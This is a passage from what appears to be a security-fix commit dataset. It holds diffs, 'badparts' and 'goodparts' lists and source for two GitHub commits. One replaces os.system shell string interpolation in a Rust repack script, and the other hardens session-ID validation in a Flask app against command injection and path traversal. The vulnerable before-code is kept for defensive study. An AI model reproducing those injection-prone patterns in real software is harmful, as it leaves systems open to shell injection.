os.system('shasum -c %s.asc.sha256' % base)", " os.system('gpg --verify %s.asc %s' % (base, base))", " os.system('keybase verify %s.asc' % base)", " os.system('tar xf ' + filename)", " install_opts = '--prefix=${PWD}/%s --disable-ldconfig' % target", " os.system('%s/install.sh %s' % (basename, install_opts))", " os.system('rm -rf %s' % basename)"], "goodparts": [" subprocess.check_call(['shasum', '-c', base + '.sha256'])", " subprocess.check_call(['shasum', '-c', base + '.asc.sha256'])", " subprocess.check_call(['gpg', '--verify', base + '.asc', base])", " subprocess.check_call(['keybase', 'verify', base + '.asc'])", " subprocess.check_call(['tar', 'xf', filename])", " install_cmd = [os.path.join(basename, 'install.sh')]", " install_cmd += ['--prefix=' + os.path.abspath(target)]", " install_cmd += ['--disable-ldconfig']", " subprocess.check_call(install_cmd)", " subprocess.check_call(['rm', '-rf', basename])"]}, {"diff": "\n print('Installing packages...')\n tar_basename = 'rustc-%s-repack' % host\n install_dir = 'rustc'\n- os.system('rm -rf %s' % install_dir)\n+ subprocess.check_call(['rm', '-rf', install_dir])\n install(os.path.basename(rustc['url']), install_dir)\n install(os.path.basename(cargo['url']), install_dir)\n for std in stds:\n install(os.path.basename(std['url']), install_dir)\n print('Tarring %s...' % tar_basename)\n- os.system('tar cjf %s.tar.bz2 %s/*' % (tar_basename, install_dir))\n- os.system('rm -rf %s' % install_dir)\n+ subprocess.check_call(['tar', 'cjf', tar_basename + '.tar.bz2', install_dir])\n+ subprocess.check_call(['rm', '-rf', install_dir])\n \n # rust platform triples\n android=\"arm-linux-androideabi\"\n", "add": 3, "remove": 3, "filename": "/repack_rust.py", "badparts": [" os.system('rm -rf %s' % install_dir)", " os.system('tar cjf %s.tar.bz2 %s/*' % (tar_basename, install_dir))", " os.system('rm -rf %s' % install_dir)"], "goodparts": [" subprocess.check_call(['rm', '-rf', install_dir])", " subprocess.check_call(['tar', 'cjf', tar_basename + '.tar.bz2', install_dir])", " subprocess.check_call(['rm', '-rf', install_dir])"]}], "source": "\n ''' This script downloads and repacks official rust language builds with the necessary tool and target support for the Firefox build environment. ''' import requests import toml import os def fetch_file(url): '''Download a file from the given url if it's not already present.''' filename=os.path.basename(url) if os.path.exists(filename): return r=requests.get(url, stream=True) r.raise_for_status() with open(filename, 'wb') as fd: for chunk in r.iter_content(4096): fd.write(chunk) def fetch(url): '''Download and verify a package url.''' base=os.path.basename(url) print('Fetching %s...' % base) fetch_file(url +'.asc') fetch_file(url) fetch_file(url +'.sha256') fetch_file(url +'.asc.sha256') print('Verifying %s...' % base) os.system('shasum -c %s.sha256' % base) os.system('shasum -c %s.asc.sha256' % base) os.system('gpg --verify %s.asc %s' %(base, base)) os.system('keybase verify %s.asc' % base) def install(filename, target): '''Run a package's installer script against the given target directory.''' print(' Unpacking %s...' % filename) os.system('tar xf ' +filename) basename=filename.split('.tar')[0] print(' Installing %s...' % basename) install_opts='--prefix=${PWD}/%s --disable-ldconfig' % target os.system('%s/install.sh %s' %(basename, install_opts)) print(' Cleaning %s...' % basename) os.system('rm -rf %s' % basename) def package(manifest, pkg, target): '''Pull out the package dict for a particular package and target from the given manifest.''' version=manifest['pkg'][pkg]['version'] info=manifest['pkg'][pkg]['target'][target] return(version, info) def repack(host, targets, channel='stable'): url='https://static.rust-lang.org/dist/channel-rust-' +channel +'.toml' req=requests.get(url) req.raise_for_status() manifest=toml.loads(req.content) if manifest['manifest-version'] !='2': print('ERROR: unrecognized manifest version %s.' % manifest['manifest-version']) return print('Using manifest for rust %s as of %s.' %(channel, manifest['date'])) rustc_version, rustc=package(manifest, 'rustc', host) if rustc['available']: print('rustc %s\\n %s\\n %s' %(rustc_version, rustc['url'], rustc['hash'])) fetch(rustc['url']) cargo_version, cargo=package(manifest, 'cargo', host) if cargo['available']: print('cargo %s\\n %s\\n %s' %(cargo_version, cargo['url'], cargo['hash'])) fetch(cargo['url']) stds=[] for target in targets: version, info=package(manifest, 'rust-std', target) if info['available']: print('rust-std %s\\n %s\\n %s' %(version, info['url'], info['hash'])) fetch(info['url']) stds.append(info) print('Installing packages...') tar_basename='rustc-%s-repack' % host install_dir='rustc' os.system('rm -rf %s' % install_dir) install(os.path.basename(rustc['url']), install_dir) install(os.path.basename(cargo['url']), install_dir) for std in stds: install(os.path.basename(std['url']), install_dir) print('Tarring %s...' % tar_basename) os.system('tar cjf %s.tar.bz2 %s/*' %(tar_basename, install_dir)) os.system('rm -rf %s' % install_dir) android=\"arm-linux-androideabi\" linux64=\"x86_64-unknown-linux-gnu\" linux32=\"i686-unknown-linux-gnu\" mac64=\"x86_64-apple-darwin\" mac32=\"i686-apple-darwin\" win64=\"x86_64-pc-windows-msvc\" win32=\"i686-pc-windows-msvc\" if __name__=='__main__': repack(mac64,[mac64, mac32]) repack(win32,[win32]) repack(win64,[win64]) repack(linux64,[linux64, linux32]) ''' install_rustc(){ pkg=$(cat ${IDX} | grep ^rustc | grep $1) base=${pkg%%.tar.*} echo \"Installing $base...\" tar xf ${pkg} ${base}/install.sh ${INSTALL_OPTS} rm -rf ${base} } install_std(){ for arch in $@; do for pkg in $(cat ${IDX} | grep rust-std | grep $arch); do base=${pkg%%.tar.*} echo \"Installing $base...\" tar xf ${pkg} ${base}/install.sh ${INSTALL_OPTS} rm -rf ${base} done done } check(){ if test -x ${TARGET}/bin/rustc; then file ${TARGET}/bin/rustc ${TARGET}/bin/rustc --version elif test -x ${TARGET}/bin/rustc.exe; then file ${TARGET}/bin/rustc.exe ${TARGET}/bin/rustc.exe --version else die \"ERROR: Couldn't fine rustc executable\" fi echo \"Installed components:\" for component in $(cat ${TARGET}/lib/rustlib/components); do echo \" $component\" done echo } test -n \"$TASK_ID\" && set -v linux64=\"x86_64-unknown-linux-gnu\" linux32=\"i686-unknown-linux-gnu\" android=\"arm-linux-androideabi\" mac64=\"x86_64-apple-darwin\" mac32=\"i686-apple-darwin\" win64=\"x86_64-pc-windows-msvc\" win32=\"i686-pc-windows-msvc\" win32_i586=\"i586-pc-windows-msvc\" IDX=channel-rustc-${RUST_CHANNEL} fetch ${IDX} verify ${IDX} TARGET=rustc INSTALL_OPTS=\"--prefix=${PWD}/${TARGET} --disable-ldconfig\" repack_linux64(){ fetch_rustc $linux64 fetch_std $linux64 $linux32 rm -rf ${TARGET} install_rustc $linux64 install_std $linux64 $linux32 tar cJf rustc-$linux64-repack.tar.xz ${TARGET}/* check ${TARGET} } repack_win64(){ fetch_rustc $win64 fetch_std $win64 rm -rf ${TARGET} install_rustc $win64 install_std $win64 tar cjf rustc-$win64-repack.tar.bz2 ${TARGET}/* check ${TARGET} } repack_win32(){ fetch_rustc $win32 fetch_std $win32 rm -rf ${TARGET} install_rustc $win32 install_std $win32 tar cjf rustc-$win32-repack.tar.bz2 ${TARGET}/* check ${TARGET} } repack_mac(){ fetch_rustc $mac64 fetch_std $mac64 $mac32 rm -rf ${TARGET} install_rustc $mac64 install_std $mac64 $mac32 tar cjf rustc-mac-repack.tar.bz2 ${TARGET}/* check ${TARGET} } repack_mac_cross(){ fetch_rustc $linux64 fetch_std $linux64 rm -rf ${TARGET} install_rustc $linux64 install_std $linux64 $mac64 $mac32 tar cJf rustc-mac-cross-repack.tar.xz ${TARGET}/* check ${TARGET} } repack_win32 repack_win64 repack_linux64 repack_mac repack_mac_cross rm -rf ${TARGET} ''' ", "sourceWithComments": "#!/bin/env python\n'''\nThis script downloads and repacks official rust language builds\nwith the necessary tool and target support for the Firefox\nbuild environment.\n'''\n\nimport requests\nimport toml\nimport os\n\ndef fetch_file(url):\n '''Download a file from the given url if it's not already present.'''\n filename = os.path.basename(url)\n if os.path.exists(filename):\n return\n r = requests.get(url, stream=True)\n r.raise_for_status()\n with open(filename, 'wb') as fd:\n for chunk in r.iter_content(4096):\n fd.write(chunk)\n\ndef fetch(url):\n '''Download and verify a package url.'''\n base = os.path.basename(url)\n print('Fetching %s...' % base)\n fetch_file(url + '.asc')\n fetch_file(url)\n fetch_file(url + '.sha256')\n fetch_file(url + '.asc.sha256')\n print('Verifying %s...' % base)\n # TODO: check for verification failure.\n os.system('shasum -c %s.sha256' % base)\n os.system('shasum -c %s.asc.sha256' % base)\n os.system('gpg --verify %s.asc %s' % (base, base))\n os.system('keybase verify %s.asc' % base)\n\ndef install(filename, target):\n '''Run a package's installer script against the given target directory.'''\n print(' Unpacking %s...' % filename)\n os.system('tar xf ' + filename)\n basename = filename.split('.tar')[0]\n print(' Installing %s...' % basename)\n install_opts = '--prefix=${PWD}/%s --disable-ldconfig' % target\n os.system('%s/install.sh %s' % (basename, install_opts))\n print(' Cleaning %s...' % basename)\n os.system('rm -rf %s' % basename)\n\ndef package(manifest, pkg, target):\n '''Pull out the package dict for a particular package and target\n from the given manifest.'''\n version = manifest['pkg'][pkg]['version']\n info = manifest['pkg'][pkg]['target'][target]\n return (version, info)\n\ndef repack(host, targets, channel='stable'):\n url = 'https://static.rust-lang.org/dist/channel-rust-' + channel + '.toml'\n req = requests.get(url)\n req.raise_for_status()\n manifest = toml.loads(req.content)\n if manifest['manifest-version'] != '2':\n print('ERROR: unrecognized manifest version %s.' % manifest['manifest-version'])\n return\n print('Using manifest for rust %s as of %s.' % (channel, manifest['date']))\n rustc_version, rustc = package(manifest, 'rustc', host)\n if rustc['available']:\n print('rustc %s\\n %s\\n %s' % (rustc_version, rustc['url'], rustc['hash']))\n fetch(rustc['url'])\n cargo_version, cargo = package(manifest, 'cargo', host)\n if cargo['available']:\n print('cargo %s\\n %s\\n %s' % (cargo_version, cargo['url'], cargo['hash']))\n fetch(cargo['url'])\n stds = []\n for target in targets:\n version, info = package(manifest, 'rust-std', target)\n if info['available']:\n print('rust-std %s\\n %s\\n %s' % (version, info['url'], info['hash']))\n fetch(info['url'])\n stds.append(info)\n print('Installing packages...')\n tar_basename = 'rustc-%s-repack' % host\n install_dir = 'rustc'\n os.system('rm -rf %s' % install_dir)\n install(os.path.basename(rustc['url']), install_dir)\n install(os.path.basename(cargo['url']), install_dir)\n for std in stds:\n install(os.path.basename(std['url']), install_dir)\n print('Tarring %s...' % tar_basename)\n os.system('tar cjf %s.tar.bz2 %s/*' % (tar_basename, install_dir))\n os.system('rm -rf %s' % install_dir)\n\n# rust platform triples\nandroid=\"arm-linux-androideabi\"\nlinux64=\"x86_64-unknown-linux-gnu\"\nlinux32=\"i686-unknown-linux-gnu\"\nmac64=\"x86_64-apple-darwin\"\nmac32=\"i686-apple-darwin\"\nwin64=\"x86_64-pc-windows-msvc\"\nwin32=\"i686-pc-windows-msvc\"\n\nif __name__ == '__main__':\n repack(mac64, [mac64, mac32])\n repack(win32, [win32])\n repack(win64, [win64])\n repack(linux64, [linux64, linux32])\n\n'''\ninstall_rustc() {\n pkg=$(cat ${IDX} | grep ^rustc | grep $1)\n base=${pkg%%.tar.*}\n echo \"Installing $base...\"\n tar xf ${pkg}\n ${base}/install.sh ${INSTALL_OPTS}\n rm -rf ${base}\n}\n\ninstall_std() {\n for arch in $@; do\n for pkg in $(cat ${IDX} | grep rust-std | grep $arch); do\n base=${pkg%%.tar.*}\n echo \"Installing $base...\"\n tar xf ${pkg}\n ${base}/install.sh ${INSTALL_OPTS}\n rm -rf ${base}\n done\n done\n}\n\ncheck() {\n if test -x ${TARGET}/bin/rustc; then\n file ${TARGET}/bin/rustc\n ${TARGET}/bin/rustc --version\n elif test -x ${TARGET}/bin/rustc.exe; then\n file ${TARGET}/bin/rustc.exe\n ${TARGET}/bin/rustc.exe --version\n else\n die \"ERROR: Couldn't fine rustc executable\"\n fi\n echo \"Installed components:\"\n for component in $(cat ${TARGET}/lib/rustlib/components); do\n echo \" $component\"\n done\n echo\n}\n\ntest -n \"$TASK_ID\" && set -v\n\nlinux64=\"x86_64-unknown-linux-gnu\"\nlinux32=\"i686-unknown-linux-gnu\"\n\nandroid=\"arm-linux-androideabi\"\n\nmac64=\"x86_64-apple-darwin\"\nmac32=\"i686-apple-darwin\"\n\nwin64=\"x86_64-pc-windows-msvc\"\nwin32=\"i686-pc-windows-msvc\"\nwin32_i586=\"i586-pc-windows-msvc\"\n\n# Fetch the manifest\n\nIDX=channel-rustc-${RUST_CHANNEL}\n\nfetch ${IDX}\nverify ${IDX}\n\nTARGET=rustc\nINSTALL_OPTS=\"--prefix=${PWD}/${TARGET} --disable-ldconfig\"\n\n# Repack the linux64 builds.\nrepack_linux64() {\n fetch_rustc $linux64\n fetch_std $linux64 $linux32\n\n rm -rf ${TARGET}\n\n install_rustc $linux64\n install_std $linux64 $linux32\n\n tar cJf rustc-$linux64-repack.tar.xz ${TARGET}/*\n check ${TARGET}\n}\n\n# Repack the win64 builds.\nrepack_win64() {\n fetch_rustc $win64\n fetch_std $win64\n\n rm -rf ${TARGET}\n\n install_rustc $win64\n install_std $win64\n\n tar cjf rustc-$win64-repack.tar.bz2 ${TARGET}/*\n check ${TARGET}\n}\n\n# Repack the win32 builds.\nrepack_win32() {\n fetch_rustc $win32\n fetch_std $win32\n\n rm -rf ${TARGET}\n\n install_rustc $win32\n install_std $win32\n\n tar cjf rustc-$win32-repack.tar.bz2 ${TARGET}/*\n check ${TARGET}\n}\n\n# Repack the mac builds.\nrepack_mac() {\n fetch_rustc $mac64\n fetch_std $mac64 $mac32\n\n rm -rf ${TARGET}\n\n install_rustc $mac64\n install_std $mac64 $mac32\n\n tar cjf rustc-mac-repack.tar.bz2 ${TARGET}/*\n check ${TARGET}\n}\n\n# Repack mac cross build.\nrepack_mac_cross() {\n fetch_rustc $linux64\n fetch_std $linux64\n\n rm -rf ${TARGET}\n\n install_rustc $linux64\n install_std $linux64 $mac64 $mac32\n\n tar cJf rustc-mac-cross-repack.tar.xz ${TARGET}/*\n check ${TARGET}\n}\n\nrepack_win32\nrepack_win64\nrepack_linux64\nrepack_mac\nrepack_mac_cross\n\nrm -rf ${TARGET}\n'''\n"}}, "msg": "Use subprocess.check_call() instead of os.system().\n\nThis will throw an exception if the command fails and\nis more robust against shell injection issues."}}, "https://github.com/cheukyin699/genset-demo-site": {"abb55b1a6786b0a995c2cdf77a7977a1d51cfc0d": {"url": "https://api.github.com/repos/cheukyin699/genset-demo-site/commits/abb55b1a6786b0a995c2cdf77a7977a1d51cfc0d", "html_url": "https://github.com/cheukyin699/genset-demo-site/commit/abb55b1a6786b0a995c2cdf77a7977a1d51cfc0d", "message": "Fix sterilization issue (#12)\n\nPathnames from URL weren't sterilized before, leading to possible\nissues such as command injection. With this, since the session ID is\npredetermined, it is now much harder to do command injection. It\nain't perfect.\n\nWe use a list of registered session ID to confirm whether the sent\nsession ID is valid or not. The sesion IDs are added and removed\nwhenever a new session is started; all session IDs are generated\nby python `tempfile.mkdtemp`; all session IDs are deleted by checking\nthat said session ID exists on the list. Thus, this makes it extremely\ndifficult to perform command line injection, unless one somehow modifies\nthe underlying code of a python core library maliciously, or the\nRAM of a hosting computer. And if that happens, this is the least of\nyour worries.", "sha": "abb55b1a6786b0a995c2cdf77a7977a1d51cfc0d", "keyword": "command injection issue", "diff": "diff --git a/app/__init__.py b/app/__init__.py\nindex 232316b..50aad95 100644\n--- a/app/__init__.py\n+++ b/app/__init__.py\n@@ -1,6 +1,8 @@\n from flask import Flask\n import pyrebase\n import json\n+import glob\n+import os.path\n \n app = Flask(__name__)\n \n@@ -29,4 +31,9 @@ def firebase_init():\n auth = firebase.auth()\n fbdb = firebase.database()\n \n+from . import utils\n from . import views\n+\n+# Populate VALID_TEMPS array\n+utils.VALID_TEMPS = glob.glob(os.path.join(app.config['UPLOAD_FOLDER'], '*'))\n+utils.VALID_TEMPS = list(map(os.path.basename, utils.VALID_TEMPS))\n\\ No newline at end of file\ndiff --git a/app/utils.py b/app/utils.py\nindex 9d24896..1c892f4 100644\n--- a/app/utils.py\n+++ b/app/utils.py\n@@ -10,20 +10,13 @@\n ('E. coli + S. dysenteriae + S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_S_Typhimur_Training.csv'),\n ]\n \n+VALID_TEMPS = []\n+\n # Functions\n def sid_is_valid(sid):\n '''\n Checks to see if the session ID is valid or not. Valid session IDs do not\n contain slashes of any kind, and should not attempt to do any directory\n traversal.\n-\n- Temporarily fix: Only works for SIDs with a length of < 10.\n '''\n- if '/' in sid or '\\\\' in sid:\n- return False\n-\n- # FIXME: Only works for SIDs with length < 10\n- if len(sid) >= 10:\n- return False\n-\n- return True\n\\ No newline at end of file\n+ return not '/' in sid and not '\\\\' in sid and not '.' in sid and sid in VALID_TEMPS\ndiff --git a/app/views.py b/app/views.py\nindex 73eeafe..7b55810 100644\n--- a/app/views.py\n+++ b/app/views.py\n@@ -4,6 +4,7 @@\n from .forms import ProcessingForm, FILE_MAP\n from . import utils\n from shutil import copyfile, rmtree\n+from os.path import join\n import os\n import tempfile\n import requests\n@@ -47,27 +48,26 @@ def upload():\n else:\n path = tempfile.mkdtemp(dir=app.config['UPLOAD_FOLDER'], prefix='')\n session_id = os.path.basename(path)\n+ utils.VALID_TEMPS.append(session_id)\n \n # Save the files\n- request.files['testcsv'].save(os.path.join(path, app.config['TESTING_FN']))\n+ request.files['testcsv'].save(join(path, app.config['TESTING_FN']))\n \n if request.files['trainingcsv'].filename != '':\n- request.files['trainingcsv'].save(os.path.join(path, app.config['TRAINING_FN']))\n+ request.files['trainingcsv'].save(join(path, app.config['TRAINING_FN']))\n else:\n try:\n fn = FILE_MAP[request.form['trainingset']]\n- copyfile(os.path.join(app.config['TRAINING_FOLDER'], fn),\n- os.path.join(path, app.config['TRAINING_FN']))\n+ copyfile(join(app.config['TRAINING_FOLDER'], fn),\n+ join(path, app.config['TRAINING_FN']))\n except KeyError:\n flash('Error: \\'%s\\' is not supported' % request.form['trainingset'])\n \n # Be flashy\n- link = 'page' % url_for('view', sid=session_id)\n- success_txt = 'Success! To view progress later, bookmark the %s' % link\n- flash(Markup(success_txt))\n+ flash('Success! To view progress later, bookmark this page.')\n \n # If the path exists, render the view\n- f = open(os.path.join(path, 'logs.txt'), 'w')\n+ f = open(join(path, 'logs.txt'), 'w')\n env = os.environ.copy()\n env['API_KEY'] = app.config['API_KEY']\n sub.Popen(['python', 'scripts/master.py', session_id, request.form['trainingset']],\n@@ -77,20 +77,17 @@ def upload():\n # Show all authentication errors\n flash('Error: %s' % ', '.join(resp['error-codes']))\n \n- return redirect(url_for('experiment',\n- title=\"Try it Out!\",\n- sitekey=app.config['G_CAPTCHA_SITEKEY'],\n- form=form,\n- files=utils.SAMPLE_FILES))\n+ return redirect(url_for('experiment'))\n \n @app.route('/view/')\n def view(sid):\n- if '/' not in sid:\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n if os.path.isdir(path):\n using_firebase = 'true' if app.config['FIREBASE'] else 'false'\n- return render_template('view.html',\n- sid=sid, title=\"Progress for %s\" % sid, using_firebase=using_firebase)\n+ return render_template('view.html', sid=sid,\n+ title=\"Progress for %s\" % sid,\n+ using_firebase=using_firebase)\n else:\n abort(404)\n else:\n@@ -98,9 +95,7 @@ def view(sid):\n \n @app.route('/api/script_update', methods=['POST'])\n def script_update():\n- if not app.config['FIREBASE']:\n- abort(400)\n- if request.json is None:\n+ if not app.config['FIREBASE'] or request.json is None:\n abort(400)\n if request.json['auth_token'] != app.config['API_KEY']:\n abort(403)\n@@ -120,47 +115,51 @@ def script_update():\n \n @app.route('/api/uploads//logs')\n def get_logs(sid):\n- if '/' not in sid:\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n- if os.path.isfile(os.path.join(path, app.config['LOG_FILE'])):\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n+\n+ if os.path.isfile(join(path, app.config['LOG_FILE'])):\n return send_from_directory(directory=path,\n filename=app.config['LOG_FILE'])\n else:\n abort(404)\n else:\n- abort(403)\n+ abort(404)\n \n @app.route('/api/uploads//download')\n def download(sid):\n- if not utils.sid_is_valid(sid):\n- abort(400)\n-\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n \n- if os.path.isfile(os.path.join(path, app.config['RESULTS_ZIP'])):\n- return send_from_directory(directory=path,\n- filename=app.config['RESULTS_ZIP'])\n+ if os.path.isfile(join(path, app.config['RESULTS_ZIP'])):\n+ return send_from_directory(directory=path,\n+ filename=app.config['RESULTS_ZIP'])\n+ else:\n+ abort(404)\n else:\n- abort(404)\n+ abort(404);\n \n @app.route('/api/uploads/', methods=['DELETE'])\n def delete_upload(sid):\n- if not utils.sid_is_valid(sid):\n- abort(400)\n+ if utils.sid_is_valid(sid):\n+ # Remove the entire upload\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n \n- # Remove the entire upload\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ # If it exists, of course\n+ if os.path.isdir(path):\n+ if not app.config['TESTING']:\n+ rmtree(path)\n+ else:\n+ abort(404)\n \n- # If it exists, of course\n- if os.path.isdir(path):\n- if not app.config['TESTING']:\n- rmtree(path)\n- else:\n- abort(404)\n+ # Remove from firebase\n+ if app.config['FIREBASE']:\n+ fbdb.child('sessions').child(sid).remove()\n \n- # Remove from firebase\n- if app.config['FIREBASE']:\n- fbdb.child('sessions').child(sid).remove()\n+ # Remove from temporary file list\n+ utils.VALID_TEMPS.remove(sid)\n \n- flash('Success! Deleted run data for \"%s\"' % sid)\n- return '', 200\n+ flash('Success! Deleted run data for \"%s\"' % sid)\n+ return '', 200\n+ else:\n+ abort(404)\n", "files": {"/app/utils.py": {"changes": [{"diff": "\n ('E. coli + S. dysenteriae + S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_S_Typhimur_Training.csv'),\n ]\n \n+VALID_TEMPS = []\n+\n # Functions\n def sid_is_valid(sid):\n '''\n Checks to see if the session ID is valid or not. Valid session IDs do not\n contain slashes of any kind, and should not attempt to do any directory\n traversal.\n-\n- Temporarily fix: Only works for SIDs with a length of < 10.\n '''\n- if '/' in sid or '\\\\' in sid:\n- return False\n-\n- # FIXME: Only works for SIDs with length < 10\n- if len(sid) >= 10:\n- return False\n-\n- return True\n\\ No newline at end of file\n+ return not '/' in sid and not '\\\\' in sid and not '.' in sid and sid in VALID_TEMP", "add": 3, "remove": 10, "filename": "/app/utils.py", "badparts": [" Temporarily fix: Only works for SIDs with a length of < 10.", " if '/' in sid or '\\\\' in sid:", " return False", " if len(sid) >= 10:", " return False", " return True"], "goodparts": ["VALID_TEMPS = []", " return not '/' in sid and not '\\\\' in sid and not '.' in sid and sid in VALID_TEMP"]}], "source": "\n\nSAMPLE_FILES=[ ('E. coli', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_Training.csv'), ('S. dysenteriae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/S_Dysenterae_Training.csv'), ('S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/S_Typhimurium_Training.csv'), ('P. syringae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/P_Syringae_Training.csv'), ('X. campestris', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/X_Campestris_Training.csv'), ('C. trachematis', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/C_Trachomatis_Training.csv'), ('E. coli +S. dysenteriae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_Training.csv'), ('E. coli +S. dysenteriae +S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_S_Typhimur_Training.csv'), ] def sid_is_valid(sid): ''' Checks to see if the session ID is valid or not. Valid session IDs do not contain slashes of any kind, and should not attempt to do any directory traversal. Temporarily fix: Only works for SIDs with a length of < 10. ''' if '/' in sid or '\\\\' in sid: return False if len(sid) >=10: return False return True ", "sourceWithComments": "# Variables\nSAMPLE_FILES = [\n ('E. coli', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_Training.csv'),\n ('S. dysenteriae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/S_Dysenterae_Training.csv'),\n ('S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/S_Typhimurium_Training.csv'),\n ('P. syringae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/P_Syringae_Training.csv'),\n ('X. campestris', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/X_Campestris_Training.csv'),\n ('C. trachematis', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/C_Trachomatis_Training.csv'),\n ('E. coli + S. dysenteriae', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_Training.csv'),\n ('E. coli + S. dysenteriae + S. typhimurium', 'https://raw.githubusercontent.com/cheukyin699/genset-training-csvs/master/E_Coli_S_Dysenteriae_S_Typhimur_Training.csv'),\n]\n\n# Functions\ndef sid_is_valid(sid):\n '''\n Checks to see if the session ID is valid or not. Valid session IDs do not\n contain slashes of any kind, and should not attempt to do any directory\n traversal.\n\n Temporarily fix: Only works for SIDs with a length of < 10.\n '''\n if '/' in sid or '\\\\' in sid:\n return False\n\n # FIXME: Only works for SIDs with length < 10\n if len(sid) >= 10:\n return False\n\n return True"}, "/app/views.py": {"changes": [{"diff": "\n else:\n path = tempfile.mkdtemp(dir=app.config['UPLOAD_FOLDER'], prefix='')\n session_id = os.path.basename(path)\n+ utils.VALID_TEMPS.append(session_id)\n \n # Save the files\n- request.files['testcsv'].save(os.path.join(path, app.config['TESTING_FN']))\n+ request.files['testcsv'].save(join(path, app.config['TESTING_FN']))\n \n if request.files['trainingcsv'].filename != '':\n- request.files['trainingcsv'].save(os.path.join(path, app.config['TRAINING_FN']))\n+ request.files['trainingcsv'].save(join(path, app.config['TRAINING_FN']))\n else:\n try:\n fn = FILE_MAP[request.form['trainingset']]\n- copyfile(os.path.join(app.config['TRAINING_FOLDER'], fn),\n- os.path.join(path, app.config['TRAINING_FN']))\n+ copyfile(join(app.config['TRAINING_FOLDER'], fn),\n+ join(path, app.config['TRAINING_FN']))\n except KeyError:\n flash('Error: \\'%s\\' is not supported' % request.form['trainingset'])\n \n # Be flashy\n- link = 'page' % url_for('view', sid=session_id)\n- success_txt = 'Success! To view progress later, bookmark the %s' % link\n- flash(Markup(success_txt))\n+ flash('Success! To view progress later, bookmark this page.')\n \n # If the path exists, render the view\n- f = open(os.path.join(path, 'logs.txt'), 'w')\n+ f = open(join(path, 'logs.txt'), 'w')\n env = os.environ.copy()\n env['API_KEY'] = app.config['API_KEY']\n sub.Popen(['python', 'scripts/master.py', session_id, request.form['trainingset']],\n", "add": 7, "remove": 8, "filename": "/app/views.py", "badparts": [" request.files['testcsv'].save(os.path.join(path, app.config['TESTING_FN']))", " request.files['trainingcsv'].save(os.path.join(path, app.config['TRAINING_FN']))", " copyfile(os.path.join(app.config['TRAINING_FOLDER'], fn),", " os.path.join(path, app.config['TRAINING_FN']))", " link = 'page' % url_for('view', sid=session_id)", " success_txt = 'Success! To view progress later, bookmark the %s' % link", " flash(Markup(success_txt))", " f = open(os.path.join(path, 'logs.txt'), 'w')"], "goodparts": [" utils.VALID_TEMPS.append(session_id)", " request.files['testcsv'].save(join(path, app.config['TESTING_FN']))", " request.files['trainingcsv'].save(join(path, app.config['TRAINING_FN']))", " copyfile(join(app.config['TRAINING_FOLDER'], fn),", " join(path, app.config['TRAINING_FN']))", " flash('Success! To view progress later, bookmark this page.')", " f = open(join(path, 'logs.txt'), 'w')"]}, {"diff": "\n # Show all authentication errors\n flash('Error: %s' % ', '.join(resp['error-codes']))\n \n- return redirect(url_for('experiment',\n- title=\"Try it Out!\",\n- sitekey=app.config['G_CAPTCHA_SITEKEY'],\n- form=form,\n- files=utils.SAMPLE_FILES))\n+ return redirect(url_for('experiment'))\n \n @app.route('/view/')\n def view(sid):\n- if '/' not in sid:\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n if os.path.isdir(path):\n using_firebase = 'true' if app.config['FIREBASE'] else 'false'\n- return render_template('view.html',\n- sid=sid, title=\"Progress for %s\" % sid, using_firebase=using_firebase)\n+ return render_template('view.html', sid=sid,\n+ title=\"Progress for %s\" % sid,\n+ using_firebase=using_firebase)\n else:\n abort(404)\n else:\n", "add": 6, "remove": 9, "filename": "/app/views.py", "badparts": [" return redirect(url_for('experiment',", " title=\"Try it Out!\",", " sitekey=app.config['G_CAPTCHA_SITEKEY'],", " form=form,", " files=utils.SAMPLE_FILES))", " if '/' not in sid:", " path = os.path.join(app.config['UPLOAD_FOLDER'], sid)", " return render_template('view.html',", " sid=sid, title=\"Progress for %s\" % sid, using_firebase=using_firebase)"], "goodparts": [" return redirect(url_for('experiment'))", " if utils.sid_is_valid(sid):", " path = join(app.config['UPLOAD_FOLDER'], sid)", " return render_template('view.html', sid=sid,", " title=\"Progress for %s\" % sid,", " using_firebase=using_firebase)"]}, {"diff": "\n \n @app.route('/api/script_update', methods=['POST'])\n def script_update():\n- if not app.config['FIREBASE']:\n- abort(400)\n- if request.json is None:\n+ if not app.config['FIREBASE'] or request.json is None:\n abort(400)\n if request.json['auth_token'] != app.config['API_KEY']:\n abort(403)\n", "add": 1, "remove": 3, "filename": "/app/views.py", "badparts": [" if not app.config['FIREBASE']:", " abort(400)", " if request.json is None:"], "goodparts": [" if not app.config['FIREBASE'] or request.json is None:"]}, {"diff": "\n 